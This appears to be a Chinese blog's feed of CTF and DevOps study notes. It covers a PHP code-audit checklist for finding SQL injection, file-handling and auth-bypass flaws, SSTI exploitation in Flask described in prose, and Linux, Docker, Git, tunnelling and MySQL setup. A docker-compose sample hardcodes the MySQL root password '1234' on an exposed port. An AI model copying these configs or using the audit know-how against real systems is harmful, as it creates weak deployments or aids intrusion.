CTF on Calendar's Blog

代码审计-PHP

Wed, 22 Oct 2025 00:00:00 +0000

参考：代码审计-PHP篇

原生开发

关键词挖掘
功能挖掘

SQL 注入

正则搜索 (update|select|insert|delete|).*?where.*=
- 需要搭配经验筛选，模板比较不容易出漏洞
- 看文件路径，后台漏洞不容易利用
- 找可执行变量、过滤，跟踪函数声明、用例
MySQL Monitor Client 跟踪项目

文件安全

发现
- 脚本文件名 upload del delfile down downfile read readfile
- 应用功能点 下载、上传、读取…… –> 抓包找路径
- 操作关键字 $_FILES、move_uploaded_file、unlink
遇见代码加密
- 需要查找对应解密方法

模型开发

MVC ：Model、Controller、View
MVC 对审计的影响
- 文件代码定位：功能被封装，不好搜索
- 代码过滤分析
- 前端安全发现
版本对比的漏洞发现
- 新版本修复，反推旧版本漏洞；根据旧版本漏洞看是否修复
- Beyond、UltraCompare 项目

动态调试

phpstorm + phpstudy + xdebug
鉴权漏洞
- 未引用的鉴权逻辑
  - 错误逻辑：先功能操作后鉴权
- 脆弱的、不严谨的
  - 没有引用鉴权模块的，可以直接进入

御林-DevOps入门小结

Tue, 21 Oct 2025 00:00:00 +0000

Linux 入门

御林招新题：DevOps-Linux入门

一、环境搭建

完成centos7版本Linux系统的服务器与云服务器部署，通过终端工具远程连接操作。

二、命令基础

口令修改：passwd命令修改用户密码。
基础命令：ls（查看目录）、mkdir（创建目录）、cd（切换目录）。

cd -：切换到上次所在目录

帮助查询：man 命令名获取命令详细帮助，如man ls。

三、文件与目录操作

定位切换：pwd显示当前目录，cd切换目录。
查看操作：ls搭配-l（详细属性）、-lh（人性化大小）、-t（时间排序）、-a（隐藏文件）等选项。
目录管理：mkdir创建、rmdir删除空目录。
文件操作：touch创建空文件；cp（复制）、mv（移动/重命名）、ln（硬链接）、ln -s（软链接）、rm（删除）。
内容查看：cat命令查看文件内容（不可查看目录）。

Q1: 如何实时查看一个正在增长的日志文件？

tail -f file

Q2: 如果日志文件被logrotate归档（重命名）了，tail -f会怎样？如何保证持续跟踪？

tail -f 会停止输出 (因为它跟踪的是inode)。应该用 tail -F，它会检测文件名变化并重新打开文件。

grep

-r 递归查找，-l 只列出文件名

watch [选项] 命令

-n 秒数：指定执行命令的间隔时间（默认 2 秒）。

-d：高亮显示两次输出之间的差异（方便观察变化部分）。

-t：不显示顶部的标题栏（包含执行时间、命令等信息）。

四、文件和目录权限

权限解读：10位权限字符串，第1位为文件类型，2-4位所有者权限，5-7位所属组权限，8-10位其他用户权限；r=4、w=2、x=1、-=0。
权限修改：chmod [用户][操作][权限] 文件名，用户含u/g/o/a，操作含+/-/=。

五、vi编辑器

基础操作：vi 文件名创建文件；:wq保存退出，:q!强制退出。
光标移动：k/j/h/l上下左右，w/b单词间移动，^/$行首尾，gg/G文首尾。
文本编辑：i/I/a/A/o/O进入插入模式；nx（删n字符）、ndd（删n行）删除内容；r/R修改内容。
进阶功能：:set number显示行号；:!command执行系统命令；:%s/old/new/g全局替换；/pattern查找内容。
复制撤销：nyy复制n行、p粘贴；u撤销、ctrl+r重做。

六、文件操作进阶

通配符：ls a*查找指定目录下以a开头的文件。
文件查找：find 目录 -type f [-name] -printf "%f\n"查找文件并显示文件名。
内容排序：sort（正序）、sort -r（逆序）排序文件内容。
部分显示：head -n 数字（前n行）、tail -n 数字（后n行）。

sed 流编辑器 sed [选项] '编辑命令' 文件

sed 's/old/new/g' file：替换所有行中的 old 为 new（s 是替换操作）

awk '模式 { 动作 }' 文件

用于信息统计

七、文件权限进阶

链接区别：软链接适用于跨分区/目录快捷方式；硬链接适用于同一分区文件共享，源文件删除仍可用。

硬链接: 共享同一个inode，本质是同一个文件。删除一个不影响另一个，直到inode引用计数为0。不能跨文件系统，不能链接目录(防止创建循环引用，导致遍历混乱)。

软链接: 一个独立文件，内容是它所指向文件的路径。类似快捷方式。

权限恢复：chmod u=rwx,g=rx,o=rx 目录名或chmod 755 目录名恢复默认权限。

ls -l 输出格式是？

第一位是文件类型 d: 目录, -: 文件, l: 链接

所有者读写执行-组用户读执行-其他用户读执行

如何递归添加权限？

chmod -R a+r mydir

什么是 SUID, SGID 和 Sticky Bit (粘滞位)？

SUID：当普通用户执行带有 SUID 权限的可执行文件时，该进程的有效用户 ID（UID）会临时变为文件所有者的 UID。

chmod 4755 test.sh

SGID：用于文件类似SUID；用于目录则在此目录中创建的新文件，其所属组会自动继承目录的所属组。

chmod 2775 /opt/project

StickyBit：只有目录所有者、文件所有者或root才能删除目录中的文件

chmod 1777 /tmp

如何查看一个用户的UID, GID 和他属于的所有组？

id name

如何把用户 www-data 添加到 docker 组，并且不覆盖他已有的组？

usermod -aG docker www-data (-a 代表 append 追加)

Linux 进阶

御林招新题：Linux 进阶

一、系统与进程管理

特殊进程：PID为1的是init进程，是系统首个用户空间进程，作为所有进程的祖先，负责系统初始化、服务启动、运行级别设置及系统关闭收尾工作。
进程查看：ps -A -f查看所有活跃进程，通过PID（进程ID）和PPID（父进程ID）分析父子关系。
端口与进程处理：用lsof或netstat（搭配-t/-u/-l/-p/-n等选项）查找占用指定端口的进程PID；通过kill -pid PID强制终止进程。

一个应用服务器突然响应很慢，你的排查思路是什么？

top/htop 看CPU/内存占用和Load Avg。

free -m / vmstat 看内存/Swap。

iostat -x / iotop 看磁盘I/O。

ss -tnp / netstat 看网络连接数。

dmesg -T 看内核/硬件有无报错。

如何查看某个进程打开了哪些文件？

lsof -p <PID>。或者进入 /proc/<PID>/fd/ 目录查看。

二、网络与文件系统

文件系统结构：采用树形结构，/为根目录，包含系统核心文件和目录，普通用户多为只读权限；/home是普通用户主目录集合，用户拥有完全操作权限。关键子目录功能：
- /bin：存放普通用户和超级用户均可执行的基本命令。
- /sbin：存放仅超级用户可执行的系统管理命令。
- /etc：存储系统各类配置文件。
- /dev：存放硬件设备抽象文件。
- /proc：虚拟文件系统，反映系统运行状态。
- /usr：存放用户安装的应用程序及文件。
- /var：存放日志、邮件等动态变化文件。
- /tmp：存放临时文件，系统重启后清空。
GRUB：统一引导加载程序，负责系统启动时加载Linux内核并移交控制权，支持多系统启动选择和内核参数临时修改。

Nginx 相较 Apache 有什么优势？

Nginx：事件驱动 (Event-driven), 异步非阻塞 (Asynchronous)。内存占用少，高并发能力强，非常适合做反向代理和静态文件服务。

Apache：传统进程/线程模型 (prefork/worker)。功能模块丰富 (如 .htaccess)，但在高并发下资源消耗大。
Nginx 如何实现负载均衡？
upstream backend { server 1.1.1.1; server 1.1.1.2; }
1
2
3
4
5
server { listen 80;
	server_name your-domain.com;
	location / { 
	proxy_pass http://localhost:3000;
	proxy_set_header Host $host; } }

三、文件内容处理

模式查找：grep '^t' /etc/passwd查找/etc/passwd中以t开头的文本行。
管道与重定向：grep -E [0-9] /etc/passwd | wc -l > hello/digit_count.txt，统计文件中含数字的行数并将结果重定向到指定文件。

四、高级系统管理

systemd服务：
- 编写.sh脚本实现每分钟向指定日志文件写入当前时间。
- 配置service文件，通过systemctl enable启用开机自启、systemctl start启动服务，systemctl status查看服务状态。
内核模块：lsmod列出已加载内核模块；modprobe 模块名加载模块，modprobe -r 模块名卸载模块。如dummy虚拟网络设备模块，可用于网络测试、服务绑定隔离等场景。

你修改了一个 sshd.service 的 .service 配置文件 (e.g. 更改了启动参数)，为什么 systemctl restart sshd 后不生效？

修改 systemd 的单元(unit)文件后，必须先执行 systemctl daemon-reload 来重载配置，然后再 restart 服务。

systemctl reload nginx 和 systemctl restart nginx 有什么区别？

restart: “先停后启”。

reload: “平滑重载”。不杀死主进程，只让主进程重读配置，并优雅地启动新的worker进程，旧的worker进程服务完当前请求后退出。服务不中断。

当修改了 nginx 上游配置时(比如 nginx.conf 里 load_module 路径）或 .service 文件，必须 restart

五、现代文件系统

以Btrfs为例：

创建与挂载：通过虚拟磁盘模拟分区，用mkfs.btrfs格式化，mount命令挂载到指定目录，btrfs subvolume create创建子卷。
快照与回滚：btrfs subvolume snapshot -r创建只读快照；修改源文件后快照内容保持不变，通过删除源子卷并基于快照重新创建实现回滚。

什么是LVM？它相比传统分区的核心优势是什么？

LVM (Logical Volume Manager) 逻辑卷管理。它在物理磁盘(PV)和文件系统之间加了一个抽象层(VG, LV)。

核心优势: 弹性伸缩。可以轻松地扩容或缩容文件系统，甚至跨越多块物理磁盘。

描述一下LVM扩容一个已挂载目录 (e.g. /data) 的完整步骤。

(如有新硬盘) pvcreate /dev/sdc。

vgextend vg_data /dev/sdc (VG扩容)。

lvextend -L +100G /dev/vg_data/lv_data (LV扩容)。

resize2fs /dev/vg_data/lv_data (文件系统扩容, 假设是ext4)。

六、系统优化与维护

缓存与日志管理：journalctl --since "10 minute ago" | grep -E "error|fail"查看指定时间内含目标关键字的系统日志；journalctl --vacuum-time=7d清除超过7天的系统日志。
内核参数调整：
- sysctl net.core.somaxconn net.ipv4.tcp_max_syn_backlog查看TCP最大连接数限制参数。
- sysctl -w net.core.somaxconn=50000临时修改参数值，sysctl -a验证生效。
- 影响：提升高并发Web服务器的连接处理能力，但会增加内存消耗，资源不足时可能导致系统不稳定。

内核模块内核模块通常放在哪个目录下？

/lib/modules/$(uname -r)/

七、软件包与服务管理

安装命令的区别
- dnf install <软件名>：从系统已配置的 软件仓库（repo） 中下载并安装软件包。
- dnf localinstall <本地包文件.rpm>：安装本地已下载的 .rpm 包文件
- 无网络时自己配置镜像源：配置 /etc/yum.repos.d/local.repo

Linux 防火墙

待补充

服务器与 PC 硬件知识

PC 硬件基础

装机大致流程
1. CPU装主板 -> 涂硅脂 -> 装散热。
2. 内存条插主板。
3. M.2 SSD 装主板。
4. 主板装进机箱 (固定IO挡板)。
5. 装电源，并连接主板供电、CPU供电。
6. (如有) 装显卡，连接显卡供电。
7. 连接机箱跳线 (开机、重启、指示灯)。
8. 理线，盖侧板。

服务器硬件

RAID 5:
- 至少3块盘，N-1容量，条带化+分布式奇偶校验。
- 优点：读性能好，空间利用率高。
- 缺点：写性能一般（有校验开销），一块盘坏后重建时性能差且风险高。
RAID 10:
- (RAID 1+0)，至少4块盘。先做RAID 1镜像，再做RAID 0条带。
- 优点：读写性能都很好，冗余性高（每组镜像坏一块盘仍可工作）。
- 缺点：空间利用率低 (50%)。
服务器的 ECC 内存条：
- 能检测并纠正单位比特的内存错误。服务器追求高稳定性，内存错误可能导致数据损坏或系统崩溃，所以必须用ECC。
- 会有一定性能开销（读写校验位），但完全值得
热插拔(Hot-Swap)
- 在服务器不关机的情况下，可以安全地移除或插入硬件。最常见的是热插拔硬盘和电源。
- 物理接口(SAS/SATA)支持
- 操作系统和RAID卡支持，允许在运行时"摘除"和"加入"设备 (e.g. echo 1 > /sys/block/sda/device/delete)。

shell 基础

御林招新题：shell 入门

一、重定向与管道

三大标准流概念
- 标准输入（stdin）：默认从键盘获取输入。
- 标准输出（stdout）：默认输出到终端，展示程序正常结果。
- 标准错误（stderr）：默认输出到终端，展示程序错误信息。
输出重定向
- >：覆盖式重定向标准输出到文件，文件不存在则创建。
- >>：追加式重定向标准输出到文件。
- 2>：覆盖式重定向标准错误到文件。
- 2>>：追加式重定向标准错误到文件。
管道操作：| 将前一个命令的标准输出作为后一个命令的输入，如 ls | grep 'txt' 筛选出含 “txt” 的文件名。

二、变量与引号

变量操作
- 定义：变量名=值（等号两侧无空格）。
- 引用：$变量名 或 ${变量名}。
- 取消定义：unset 变量名。
引号区别
- 单引号 ' '：完全原样输出内容，不进行变量、命令替换。
- 双引号 " "：支持变量替换和命令替换（配合 $() 或反引号）。
- 反引号：执行内部命令并返回输出结果，推荐用 $() 替代以支持嵌套。

三、参数与条件判断

命令行参数
- $1~$n：对应第 1 到第 n 个命令行参数。
- $#：参数总个数；$0：脚本文件名。
- $*：将所有参数视为单个字符串；$@：将每个参数视为独立字符串。
条件判断
- 基础语法：
1 2 3 4 5 6 7

if [条件1]; then # 条件1为真时执行的命令 elif [条件2]; then # 条件2为真时执行的命令 else # 所有条件都为假时执行的命令 fi
test 命令和 []（方括号）在 Shell 中用于进行条件测试，可以对文件、字符串、数字等进行比较。[] 是 test 命令的另一种写法，使用起来更简洁。
- 文件：-e（存在）、-f（普通文件）、-d（目录）等。
- 字符串：=（相等）、!=（不等）、-z（空字符串）等。
- 数字：-eq（相等）、-gt（大于）、-lt（小于）等。

四、循环

for 循环
- 遍历元素：for 变量 in 元素1 元素2...; do 命令; done。
- 范围遍历：for 变量 in {起始值..结束值}; do 命令; done。
while 循环：while 条件; do 命令; done，条件为真时重复执行循环体。

关键注意点

参数判断需用双引号包裹变量，避免空格等特殊字符问题。
遍历目录文件需用 "$1"/* 表示目录下所有内容。
echo -n 可取消默认换行，按需手动添加换行保证格式整洁。

.bashrc 和 .bash_profile 的差别？

.bash_profile: 只在 “Login Shell” (登录Shell，如SSH登入) 时加载一次。

.bashrc: 在 “Interactive Non-Login Shell” (交互式非登录Shell，如打开新终端窗口) 时加载。
alias 是什么？
简化命令的配置，写入用户 .bashrc 等配置文件

如果加在了 .bashrc，在系统SSH登入时只加载 .bash_profile，.bash_profile 需要 source ~/.bashrc。
1
2
3
if [ -f ~/.bashrc ]; then
    . ~/.bashrc
fi
脚本开头 set -e / set - u

set -e: "Exit on Error"。脚本中任何命令返回非0退出码（即出错）时，立即退出。

set -u: "Unbound Variable"。试图使用未定义的变量时，视为错误并退出。

screen 和 tmux 的作用？

会话保持：SSH断开连接后，服务器上的任务（如编译、跑脚本）不会中断。

多路复用：在一个终端窗口中创建多个"窗口"和"窗格"，方便同时操作。

操作 screen 命令 / 快捷键 tmux 命令 / 快捷键

新建会话 screen 或 screen -S 会话名 tmux 或 tmux new -s 会话名

列出所有会话 screen -ls tmux ls 或 tmux list-sessions

断开当前会话 Ctrl + a + d Ctrl + b + d

重新连接会话 screen -r 会话名/ID tmux attach -t 会话名/ID

新建窗口 Ctrl + a + c Ctrl + b + c

垂直拆分面板需额外配置 Ctrl + b + %

横向拆分面板需额外配置 Ctrl + b + "

操作	`screen` 命令 / 快捷键	`tmux` 命令 / 快捷键
新建会话	`screen` 或 `screen -S 会话名`	`tmux` 或 `tmux new -s 会话名`
列出所有会话	`screen -ls`	`tmux ls` 或 `tmux list-sessions`
断开当前会话	`Ctrl + a + d`	`Ctrl + b + d`
重新连接会话	`screen -r 会话名/ID`	`tmux attach -t 会话名/ID`
新建窗口	`Ctrl + a + c`	`Ctrl + b + c`
垂直拆分面板	需额外配置	`Ctrl + b + %`
横向拆分面板	需额外配置	`Ctrl + b + "`

Git版本管理

御林招新题：Git 版本管理

一、安装与配置

安装验证：在Linux系统安装Git后，通过git --version命令确认安装成功。
全局配置：配置提交者信息，命令如下：
- git config --global user.name "用户名"
- git config --global user.email "邮箱地址"

二、仓库创建与克隆

本地仓库：在目标文件夹中初始化Git仓库（具体命令未明确给出，常规为git init）。
远程克隆：使用git clone 远程仓库地址克隆公开仓库到本地，例如git clone https://github.com/calendar0917/learning_log.git。
代理配置：可通过clashctl on开启代理、clashctl off关闭代理等命令配置网络代理以解决克隆问题。

三、文件提交与同步

暂存与提交
- git add 文件名：将修改文件添加到暂存区。
- git commit -m "提交信息"：提交暂存区文件并添加说明。
凭据缓存：配置Git凭据缓存避免重复登录，命令如下：
- git config --global credential.helper cache（默认缓存15分钟）
- git config --global credential.helper 'cache --timeout=2592000'（自定义缓存时间，如30天）
远程同步
- git pull：从远程仓库拉取最新变更。
- git push：将本地提交推送到远程仓库，需输入用户名及Personal Access Token验证。

四、分支管理

分支操作
- 创建分支：git branch 分支名（如git branch feature-a）。
- 切换分支：git checkout 分支名。
- 创建并切换分支：git checkout -b 分支名。
修改与合并
- 在分支上修改文件后，执行git add和git commit提交变更。
- 切换回主分支（main/master），通过git merge 分支名合并分支修改。
分支删除：合并完成后，用git branch -d 分支名删除分支。

五、历史记录与回溯

查看历史：git log命令查看提交历史，包含提交ID、作者、时间及提交信息。
核心概念
- 工作区：实际存放项目文件的可见目录。
- 暂存区：临时保存文件修改的区域，通过git add添加文件至此。
版本回溯
- git revert 提交ID：创建新提交抵消目标提交的修改，不改变历史记录。
- git reset：重置HEAD指针到指定版本，不同模式效果不同：
  - --hard：重置HEAD指针、暂存区和工作区。
  - --soft：仅重置HEAD指针，保留暂存区和工作区内容。
  - --mixed：重置HEAD指针和暂存区，保留工作区内容。

六、远程仓库进阶

添加远程仓库：git remote add 仓库别名仓库地址，例如git remote add gitee https://gitee.com/calendar917/learning_log.git。
查看远程仓库：git remote -v查看已配置的远程仓库信息。
多仓库同步：git push 仓库别名分支名将本地分支推送到指定远程仓库，如git push gitee main。

Docker入门

御林招新题：docker 入门

一、安装与配置

安装验证：在Linux系统安装Docker Engine后，通过docker version和docker info命令确认安装与配置正常。
镜像源配置：配置国内镜像源以提升镜像下载速度。

二、运行容器

基础容器操作
- 拉取镜像：docker pull 镜像名，例如docker pull hello-world。
- 运行容器：docker run 镜像名，如docker run hello-world可观察容器输出。
进阶容器运行
- 拉取并运行searxng容器：docker pull searxng/searxng，docker run -d -p 8080:8080 searxng/searxng。
- 关键参数：-d（后台运行）、-p 主机端口:容器端口（端口映射）、-v 主机目录:容器目录（数据卷挂载）、--name（指定容器名）、-it（交互式运行）。
验证：浏览器访问http://localhost:8080确认searxng服务正常。

三、核心概念

镜像（Image）：类似不可修改的安装包，整合了应用所需的运行环境。
容器（Container）：基于镜像创建的可操作实例，是独立隔离的沙箱环境，支持启动、删除等操作。
Dockerfile：自动化构建镜像的配置文件，可编写镜像所需环境，替代手动安装操作。

四、Docker Compose

工具作用：Docker官方工具，用于定义和运行多容器应用，可统一管理多个容器的启停、网络配置及数据卷挂载，解决多容器协同操作的繁琐问题。
配置文件：docker-compose.yml是核心配置文件，可定义服务（指定镜像、端口映射等）、网络（实现容器间通信）、数据卷（实现数据共享）。

五、编写Dockerfile

功能需求

基于最新ubuntu镜像，安装nginx并设置其在容器启动时自动运行。

实现代码

FROM ubuntu:latest
RUN apt-get update && \
    apt-get install -y nginx && \
    rm -rf /var/lib/apt/lists/*
CMD ["nginx", "-g", "daemon off;"]

操作与验证

构建镜像：docker build -t my-ubuntu-nginx .。
运行容器：docker run -d -p 80:80 my-ubuntu-nginx。
说明：Ubuntu镜像为精简根文件系统，共享宿主机Linux内核，体积小无需完整下载。

六、Docker Compose部署多服务

功能需求

部署nginx服务（端口映射8081:80）和mysql服务（设置root密码）。

配置文件（docker-compose.yml）

version: '3'
services:
  nginx-service:
    image: nginx:latest
    ports:
      - "8081:80"
  mysql-service:
    image: mysql:latest
    environment:
      MYSQL_ROOT_PASSWORD: 1234
    ports:
      - "3306:3306"

操作与验证

启动服务：docker compose up -d。
确认运行：docker ps查看两个容器的运行状态。

Docker进阶

御林招新题：docker 进阶

一、多阶段构建

概念与优势：在单个Dockerfile中定义多个构建阶段，构建阶段使用含编译、打包工具的完整镜像完成构建操作，运行阶段使用轻量级镜像仅复制构建产物，可剔除冗余内容，大幅精简镜像体积。
实战案例（打包Python Flask应用）
- 构建阶段：基于python:3.9镜像，设置工作目录，复制并安装依赖，复制应用代码。
- 运行阶段：基于python:3.9-slim轻量镜像，从构建阶段复制依赖文件、应用代码及安装好的依赖包，暴露端口并启动应用。
关键说明：直接使用轻量镜像单阶段构建可能因缺少编译工具导致依赖安装失败；可通过临时容器或单阶段容器输出依赖路径，确定需复制的文件路径。
效果验证：多阶段镜像（148MB）远小于单阶段镜像（1.1GB），差异源于基础镜像精简及冗余内容剔除。

二、镜像版本管理与标签

标签操作：使用docker tag <镜像ID> 镜像名:<标签>为镜像打标签，例如为多阶段镜像添加1.0.0和latest标签。
验证方式：通过docker images命令查看镜像标签是否正确应用，同一镜像可对应多个标签。

三、镜像的打包与加载

打包镜像：docker save -o 文件名.tar 镜像名:标签，将指定镜像打包为tar文件，用于无Docker Registry环境下的镜像迁移。
加载镜像：先通过docker rmi 镜像名:标签删除本地原有镜像，再用docker load -i 打包文件.tar加载镜像。
验证步骤：执行docker images确认镜像加载成功，运行镜像验证其可用性。

四、推送到私有仓库

操作流程
- 启动本地临时Docker Registry容器。
- 用docker tag命令为镜像添加指向私有仓库的标签（如localhost:5000/your-app:1.0.0）。
- 执行docker push将镜像推送到私有仓库。
- 用docker pull从私有仓库拉取镜像，验证推送与拉取流程。
补充说明：删除多标签镜像时，仅删除指定标签，直至最后一个标签删除才会彻底删除镜像；多容器应用（基于Docker Compose）可在配置文件目录下用docker compose stop统一停止。

内网穿透与流量转发

御林招新题：内网穿透与流量转发专题

一、Nginx 反向代理

概念：客户端向反向代理服务器发请求，代理服务器转发至内网实际服务器，再将响应返回客户端，客户端无需知晓内网服务详情，Nginx 可承担该角色。
实操步骤
- 在公网服务器安装 Nginx。
- 修改配置文件，添加 server 块，通过 proxy_pass 指令将请求转发到内网服务的 IP 和端口，同时配置请求头传递参数。
- 验证：通过公网 IP 访问 Nginx 服务器，确认能显示内网服务页面。

二、Autossh 端口转发

核心作用：封装 SSH 工具，自动监控并重建断开的 SSH 反向隧道，保证连接持久性，实现内网端口暴露到公网。
实操步骤
- 内网机器安装 Autossh，生成 SSH 公钥并上传至公网服务器。
- 执行命令建立反向隧道：autossh -M 20000 -fCNR public_server_ip:8000:localhost:5000 root@public_server_ip。
- 关键配置：修改公网服务器 sshd_config 中 GatewayPorts 为 yes，开放安全组对应端口。
- 验证：访问公网服务器的指定端口，确认能连接内网服务。

三、Tailscale 零配置网络

概念：搭建零配置虚拟私有网络（VPN），简化配置流程，实现不同网络环境设备的点对点互联。
实操步骤
- 在公网服务器和内网机器分别安装 Tailscale，注册并登录账户加入网络。
- 查看设备的 Tailscale IP，通过该 IP 直接访问内网服务。
- 验证：在公网服务器上通过内网机器的 Tailscale IP 访问其服务，无需端口转发。

四、Frp (Fast Reverse Proxy)

概念：高性能内网穿透反向代理应用，采用客户端-服务端模式暴露内网服务。
实操步骤
- 下载 Frp 安装包，在公网服务器部署服务端（frps），内网机器部署客户端（frpc）。
- 配置服务端 frps.ini 的通信端口，客户端 frpc.ini 的服务端地址、本地服务地址及公网映射端口（建议用 TCP 类型避免域名依赖）。
- 分别启动服务端和客户端程序。
- 验证：通过公网服务器的 IP 和配置的映射端口，访问内网服务。

文件服务器

御林招新题：文件服务器

一、文件共享协议理解

SMB/CIFS
- 作用：局域网内实现文件、打印机等资源共享，Windows 网络原生支持，访问方式接近本地文件。
- 典型场景：企业 Windows 办公网络共享文档、学校计算机教室共享教学资料。
- 特点：局域网传输高效、使用便捷，但安全性不足。
SFTP
- 作用：基于 SSH 协议的安全文件传输协议，传输过程加密，保障数据安全。
- 典型场景：Linux 服务器间文件备份同步、开发者向远程 Linux 服务器上传代码/下载日志。
- 特点：跨平台兼容性好、传输稳定可靠，但加密会消耗性能，功能专注于文件传输。

二、Samba 服务配置（SMB/CIFS）

实操步骤
- 安装：sudo yum install samba samba-client samba-common。
- 创建用户：sudo useradd sambauser，sudo smbpasswd -a sambauser 设置 Samba 密码。
- 配置共享：创建共享目录并设置权限，修改 /etc/samba/smb.conf，添加共享配置（指定路径、授权用户等），重启服务 sudo systemctl restart smb nmb。
- 验证：局域网内 Windows/macOS 设备通过 \\服务器IP 访问共享目录，测试文件上传。

三、SFTP 服务配置

实操步骤
- 准备：安装 SSH 服务 sudo yum install openssh-server，启动服务 sudo systemctl start sshd。
- 创建用户：sudo useradd sftpuser，sudo usermod -s /sbin/nologin sftpuser 限制 Shell 登录。
- 配置服务：备份并修改 /etc/ssh/sshd_config，注释原有 SFTP 配置，启用 internal-sftp，匹配用户并限制访问目录，重启 SSH 服务。
- 验证：使用 FileZilla 等客户端连接，测试文件上传，确认无法执行 Shell 命令。
- 注意：需将用户主目录权限设为 755 且归属 root，检查配置文件语法避免报错。

四、权限精细化管理

实操步骤
- 创建组：sudo groupadd sambagrp（系统组）、sudo smbgroupadd sambagrp（Samba 组）。
- 配置共享目录：创建目录并设置组归属及权限，修改 smb.conf 添加组共享配置，限制仅组内用户读写。
- 添加用户：创建新用户并加入组，设置 Samba 密码，重启服务。
- 验证：组内用户可正常读写，非组用户被拒绝访问。

五、WebDAV 配置

实操步骤
- 安装配置：基于 Nginx 部署，下载并编译安装 Nginx 及 nginx-dav-ext-module 插件，配置系统服务。
- 基础配置：修改 Nginx 配置文件，设置监听端口、认证文件、共享目录及 WebDAV 相关指令，创建认证用户和共享目录。
- 验证：Windows 设备修改注册表并重启 WebClient 服务后，通过网络位置访问，输入凭据管理文件。

六、性能与安全性

性能测试：使用工具测试大文件传输速度，Samba 传输效率通常高于 SFTP（因 SFTP 加密消耗性能）。
安全加固
- 配置 SFTP 密钥认证：生成密钥对，将公钥放入服务器用户的 authorized_keys 文件，禁用密码登录（PasswordAuthentication no）。
- 安全优势：密钥认证采用非对称加密，私钥仅存于客户端，可防范密码暴力破解、泄露等风险，安全性远超密码认证。

Homepage

御林招新题：Homepage

一、安装与基础配置

安装方式：推荐使用Docker Compose安装，编写docker-compose.yml文件，指定Homepage镜像、容器名称、环境变量、端口映射及配置文件挂载目录，执行docker-compose up -d启动服务。安装过程中需解决依赖问题（如加装pip3、rust环境等）。
配置调整：创建本地配置目录并挂载，通过修改环境变量HOMEPAGE_ALLOWED_HOSTS解决主机验证问题（可临时设为“*”禁用验证）；修改配置文件设置主页标题（如“我的DevOps控制台”），支持热加载生效。

二、服务添加与验证

基础服务配置：编辑service.yaml文件，按分组添加服务，配置服务名称、图标、访问链接及描述，支持添加自有服务（如Searxng）或常用网站（如GitHub、个人博客）。
验证步骤：重启Homepage服务，通过浏览器访问确认标题修改成功，服务图标可正常点击并跳转至目标页面。

三、进阶服务与集成

状态检查服务：在服务配置中添加siteMonitor参数（指定服务访问地址），实现对服务在线状态的自动检查，如配置Searxng服务的状态监控。
Docker集成：启用Docker socket挂载，安装Portainer可视化工具并配置端口映射，在Homepage中添加Portainer服务，通过配置widget实现容器状态（运行数量、CPU/内存占用等）的展示。

四、小部件定制

基础小部件添加：参考文档配置小部件，例如添加时间小部件，通过设置text_size和format参数自定义显示样式。
实用小部件集成：借助Portainer与Homepage的整合能力，实现Docker容器状态的可视化监控，需解决端口映射、认证配置等问题。

五、主题与布局自定义

布局调整：修改setting.yaml文件，通过layout参数调整服务分组的排列样式（如将单列改为双列）。
主题与样式修改：更换默认主题，或编辑配置目录下的custom.css文件，通过CSS选择器自定义元素样式（如修改服务组名称颜色），可通过浏览器开发者工具定位目标元素类名。

MySQL专题

御林招新题：MySQL专题

一、安装与配置

安装方式
- 方法一：通过官方源安装，先下载并安装MySQL 5.7官方源包，再用yum安装服务，最后启动服务并执行安全脚本。
- 方法二：通过tar包安装，解压包后创建用户组和用户，配置目录权限与my.cnf文件，初始化数据库并启动服务，配置系统服务实现管理。
安全配置：执行mysql_secure_installation安全脚本，设置root密码，删除不安全用户和数据库。
验证登录：配置MySQL命令软链接，使用mysql -u root -p命令登录数据库命令行。

二、数据库操作与管理

基础操作
- 建库建表：CREATE DATABASE test_db;创建数据库，CREATE TABLE students (...)创建含id、name、score字段的表。
- 数据插入：INSERT INTO students (name, score) VALUES (...)插入数据。
数据导入导出
- 导出：mysqldump -u root -p test_db > test_db_backup.sql将数据库导出为SQL文件。
- 导入：先删除数据库并重建，再执行mysql -u root -p test_db < test_db_backup.sql恢复数据。

三、数据库性能调优

关键参数修改
- innodb_buffer_pool_size：设置InnoDB缓冲池大小（示例设为2G），用于缓存表数据和索引数据，提高查询性能。
- max_connections：设置最大并发连接数（示例设为500），过小会拒绝连接，过大占用过多系统资源。
配置生效：修改/etc/my.cnf配置文件后重启MySQL服务，通过SHOW VARIABLES LIKE '参数名'验证配置。

四、应用程序集成与数据处理

Python集成示例
- 依赖库：使用pymysql库连接数据库，csv库处理文件。
- 核心功能：连接数据库查询students表数据，计算学生平均分数，将数据及平均分写入report.csv文件。
- 安全注意：采用参数化查询防止SQL注入，操作完成后关闭游标和连接。
关键操作：通过游标执行SQL语句，使用fetchall()获取数据，借助csv.writer写入文件。

五、自动化备份与恢复

备份脚本编写
- 脚本功能：使用mysqldump命令备份指定数据库，为备份文件添加时间戳，检查备份结果并输出日志。
- 权限设置：执行chmod +x mysql_backup.sh为脚本添加执行权限。
定时执行：通过crontab -e添加定时任务，设置脚本每天凌晨1点自动运行。
验证测试：手动执行脚本，确认备份文件生成；通过top或htop命令查看系统资源占用情况。

Python后端

御林招新题：python 后端

一、Flask框架

（一）基础应用开发

简单应用创建：定义首页路由/和带参数路由/hello/<name>，实现个性化问候功能。
服务器端模板注入（SSTI）漏洞
- 漏洞成因：将用户输入直接拼接进模板，通过render_template_string渲染执行恶意代码。
- 漏洞防护：设置黑名单过滤危险字符，或采用安全写法将参数传入模板而非拼接。
- 漏洞利用：通过构造特定代码（如利用类继承关系调用系统函数）执行恶意操作。

（二）核心功能用法

请求与响应：通过request模块获取表单、查询字符串、路径等参数；使用make_response自定义响应内容、状态码和响应头；通过render_template渲染模板并返回。
会话管理：设置app.secret_key密钥，利用session对象存储会话数据，实现用户登录状态保持与页面跳转。
模板语法：支持变量替换、条件判断、循环遍历等功能，可动态渲染页面内容。

二、FastAPI与Sanic框架基础

（一）应用创建与路由

FastAPI
- 基础路由：定义/路由处理GET请求，/items/{item_id}路由处理POST请求。
- 数据校验：借助Pydantic模型定义数据结构，自动完成POST请求数据的校验。
Sanic
- 基础路由：创建/路由（GET请求）和/items/{item_id}路由（POST请求）。
- 数据处理：手动获取请求体数据并处理，需自行实现数据校验逻辑。
框架区别：FastAPI支持自动数据校验，开发效率高；Sanic基于异步非阻塞架构，性能更优。

三、异步编程实践

（一）异步路由

在FastAPI中创建异步路由/async-task，使用asyncio.sleep模拟耗时操作，验证其非阻塞特性，对比同步路由可知异步操作不会阻塞其他请求。

（二）异步依赖注入

依赖函数创建：编写异步依赖函数（如模拟数据库连接），通过yield管理资源生命周期（创建→使用→清理）。
核心概念
